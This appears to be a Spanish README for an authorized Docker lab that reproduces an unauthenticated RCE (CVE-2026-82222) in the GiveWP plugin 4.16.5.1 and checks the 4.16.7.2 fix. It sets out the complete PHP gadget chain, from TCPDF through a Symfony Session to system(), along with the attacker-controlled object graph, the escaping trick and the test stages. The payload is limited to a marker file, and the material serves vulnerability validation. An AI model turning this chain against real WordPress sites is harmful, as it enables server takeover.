
# Laboratorio Docker autorizado y PoC limpio para validar la RCE CVE-2026-82222 en GiveWP 4.16.5.1 y la corrección 4.16.7.2.
Material de investigación de seguridad para reproducir y validar CVE-2026-82222 en un laboratorio Docker aislado.
Para el PoC de RCE directo y el escaneo de URL, use CVE-2026-8222-RCE.py
Estado: probado en el laboratorio suministrado
GiveWP 4.16.5.1 permite que un atacante inicialmente no autenticado persista un grafo de objetos PHP, lo reviva a través del manejo de sesiones de GiveWP y ejecute un comando marcador fijo como el usuario del servidor web de WordPress.
Resultado positivo probado:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Resultado: /tmp/CVE-2026-82222-RCE-GETBAG creado por www-data
El resultado de extremo a extremo también se reprodujo contra el código fuente pristino y no instrumentado de GiveWP 4.16.5.1. GiveWP 4.16.7.2 bloqueó el transportador HTTP en la configuración probada y bloqueó de forma independiente el gadget terminal durante un control directo.
Esto demuestra la ejecución de comandos dentro del contenedor de WordPress. No demuestra acceso root, escape de contenedor, movimiento lateral ni compromiso del host.
Use este repositorio solo en sistemas que posea o para los que tenga autorización explícita de probar.
El PoC suministrado está restringido intencionalmente:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.La prueba HTTP crea un usuario donante desechable, metadatos y filas de sesión de GiveWP. Use el comando de reinicio incluido después de las pruebas.
Requisitos:
curlunzipsha256sum o shasumdownloads.wordpress.org para los archivos oficiales del pluginEjecute la matriz completa vulnerable/parcheado:
./lab verify
El comando:
ProviderForwarder parcheado también rechaza el callable de cadena.El laboratorio parcheado permanece en ejecución al final. Elimínelo con:
./lab reset
Para usar otro puerto de loopback:
LAB_PORT=8099 ./lab verify
El control vulnerable debe terminar con evidencia terminal concreta:
[PASS] E1: el registro no autenticado emitió cookie de autenticación
[PASS] E3: el grafo serializado persistió en el propio last_name
[PASS] E4: se obtuvo el nonce del formulario de donación
[PASS] E5: la escritura de sesión alcanzó el estado HTTP esperado posterior al sumidero=500
[PASS] E6: se completó el disparador de lectura/destrucción de sesión
marcador presente y propiedad del usuario web de WordPress
RESULTADO: CONTROL VULNERABLE CONFIRMADO
El control parcheado debe mostrar:
[PASS] P1: la puerta de registro parcheada bloqueó la cookie de autenticación
DIRECT_MARKER=ausente
marcador HTTP ausente y gadget terminal directo bloqueado
RESULTADO: CONTROL PARCHEADO CONFIRMADO
Un HTTP 500, payload almacenado, excepción o detección sin el marcador no se acepta como prueba de RCE.
Inicie y pruebe la versión vulnerable:
./lab start vulnerable
./lab test
Inicie y pruebe la versión parcheada:
./lab start patched
./lab test
Inspeccione el estado actual:
./lab status
Elimine contenedores, volúmenes, usuarios de prueba, sesiones y estado del marcador:
./lab reset
Los ZIP de plugins en caché y los activos extraídos se conservan para reejecuciones más rápidas. Elimine también esos activos generados exactos con:
./lab reset --purge-assets
| Versión | Evaluación |
|---|---|
| GiveWP 4.16.5.1 | RCE reproducido de extremo a extremo |
| GiveWP 4.16.6–4.16.7.1 | Reportado como afectado; no reproducido individualmente aquí |
| GiveWP 4.16.7.2 | Controles negativos parcheados reproducidos |
| Versiones posteriores | No probadas individualmente; actualice a la última versión compatible |
El aviso público identifica las versiones hasta la 4.16.7.1 como afectadas. Este repositorio prueba directamente solo las dos versiones en su matriz de pruebas positiva/negativa.
Referencias:
El exploit combina varios comportamientos:
Give\Helpers\Utils::maybeSafeUnserialize() usa
allowed_classes => false, produciendo __PHP_Incomplete_Class, pero una
serialización posterior conserva los nombres de clase y propiedades originales.maybe_unserialize() sin restricciones posterior revive las clases incluidas.system().Se requieren cuatro barras invertidas literales de espacio de nombres en el transportador HTTP. Las dos
pasadas de eliminación efectivas las reducen 4 -> 2 -> 1. El payload no contiene NUL,
y se verificó que PHP 8.1.30 hidrata el nombre serializado simple para la propiedad
privada Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Grafo controlado por el atacante:
TCPDF
├── file_id = identificador único de solicitud
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = comando marcador fijo
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
La transición oculta crítica es el despacho implícito de IteratorAggregate
de PHP. TCPDF::$imagekeys no está tipado, por lo que asignar una Session
de Symfony hace que foreach invoque Session::getIterator().